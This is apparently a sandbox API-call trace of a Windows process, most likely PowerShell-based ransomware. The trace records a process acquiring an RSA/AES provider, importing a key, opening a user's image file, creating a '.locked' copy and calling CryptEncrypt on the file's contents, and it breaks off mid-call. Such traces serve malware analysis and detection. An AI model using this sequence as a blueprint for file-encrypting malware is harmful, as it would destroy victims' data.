(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0135.815] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.815] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0135.815] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.816] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.816] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0135.816] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.816] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.816] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0135.816] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.816] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.816] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0135.816] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.816] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.816] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0135.816] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.817] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.817] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0135.817] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.817] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.817] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0135.817] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.817] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.817] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.817] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.817] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.817] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.818] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.818] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.818] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.818] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.818] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.818] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.818] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.818] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0135.819] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43964e8) returned 1 [0135.819] CryptImportKey (in: hProv=0x43964e8, pbData=0x695f6d0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84f78) returned 1 [0135.819] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.819] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.819] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.819] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.819] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.820] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif")) returned 0x20 [0135.821] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif")) returned 0x20 [0135.821] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.821] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.821] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.821] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.821] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.821] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.821] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.821] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.821] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.823] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.823] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0135.823] GetFileType (hFile=0x858) returned 0x1 [0135.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.823] GetFileType (hFile=0x858) returned 0x1 [0135.823] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.823] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0135.823] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.823] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.824] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.825] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked", lpFilePart=0x0) returned 0x69 [0135.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.825] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0135.825] GetFileType (hFile=0x874) returned 0x1 [0135.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.825] GetFileType (hFile=0x874) returned 0x1 [0135.826] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.826] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x697ccd4 | out: pbBuffer=0x697ccd4) returned 1 [0135.826] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.826] CryptDuplicateKey (in: hKey=0x8e84f78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e849b8) returned 1 [0135.826] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.826] CryptSetKeyParam (hKey=0x8e849b8, dwParam=0x4, pbData=0x697df90*=0x1, dwFlags=0x0) returned 1 [0135.826] CryptSetKeyParam (hKey=0x8e849b8, dwParam=0x1, pbData=0x697df5c, dwFlags=0x0) returned 1 [0135.826] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf990\x437\x242") returned 0x0 [0135.826] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.826] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.826] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.827] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.827] ReadFile (in: hFile=0x858, lpBuffer=0x69815b4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69815b4*, lpNumberOfBytesRead=0x99ae7a8*=0xbf84, lpOverlapped=0x0) returned 1 [0135.827] CryptEncrypt (in: hKey=0x8e849b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69955c0*, 